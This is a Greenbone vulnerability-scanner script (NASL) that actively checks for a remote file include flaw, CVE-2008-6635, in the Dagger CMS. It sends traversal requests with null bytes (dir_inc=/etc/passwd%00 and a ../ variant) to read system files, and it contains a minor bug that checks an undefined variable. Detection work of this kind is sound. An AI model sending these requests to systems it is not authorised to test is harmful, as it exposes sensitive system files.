Dagger RFI Vulnerability (Mar 2009) - Active Check

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100050");
  script_version("2024-01-30T14:37:03+0000");
  script_tag(name:"last_modification", value:"2024-01-30 14:37:03 +0000 (Tue, 30 Jan 2024)");
  script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2008-6635");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Dagger RFI Vulnerability (Mar 2009) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Dagger is prone to a remote file include (RFI) vulnerability
  because it fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to execute malicious PHP code
  in the context of the webserver process. This may facilitate a compromise of the application and
  the underlying system. Other attacks are also possible.");

  script_tag(name:"solution", value:"Vendor updates are available.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/29906");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

files = traversal_files("linux");

foreach dir (make_list_unique("/dagger", "/cms", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/skins/default.php");
  if (!res || res !~ "^HTTP/1\.[01] 200")
    continue;

  foreach pattern (keys(files)) {
    file = files[pattern];

    url = dir + "/skins/default.php?dir_inc=/" + file + "%00";

    req = http_get(port: port, item: url);
    res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
    if (!res)
      continue;

    if (egrep(pattern: pattern, string: res)) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    } else {
      #/etc/passwd could not be read, try the "joke" File ../etc/passwd.
      url = dir + "/skins/default.php?dir_inc=../" + file + "%00";

      req = http_get(port: port, item: url);
      res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
      if (!buf)
        continue;

      if (egrep(pattern: "Hi, lamer!", string: res) &&
          egrep(pattern: ".*SMILE, YOU'RE ON CANDID CAMERA!.*", string: res)) {
        report = http_report_vuln_url(port: port, url: url);
        security_message(port: port, data: report);
        exit(0);
      }
    }
  }
}

exit(99);